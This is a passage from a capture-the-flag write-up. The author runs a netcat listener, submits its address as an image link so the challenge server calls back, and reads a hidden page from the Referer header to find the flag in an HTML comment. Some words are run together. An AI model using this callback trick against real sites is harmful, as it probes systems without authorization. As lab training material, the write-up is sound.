netcat -lkv 54321and submit the image link
http://YOURIP:54321/. You should get something like:
listening on [any] 54321 ...
connect to [YOURIP] from backdoor.cognizance.org.in [184.108.40.206] 46845
GET / HTTP/1.1
OK, there's some interesting
Referrerwaiting for us. What if we tried to go the url? Ooops, that's a super secret page, containing the message
By the way, the flag is f556b9a48a3ee914f291f9b98645cb02commented in HTML.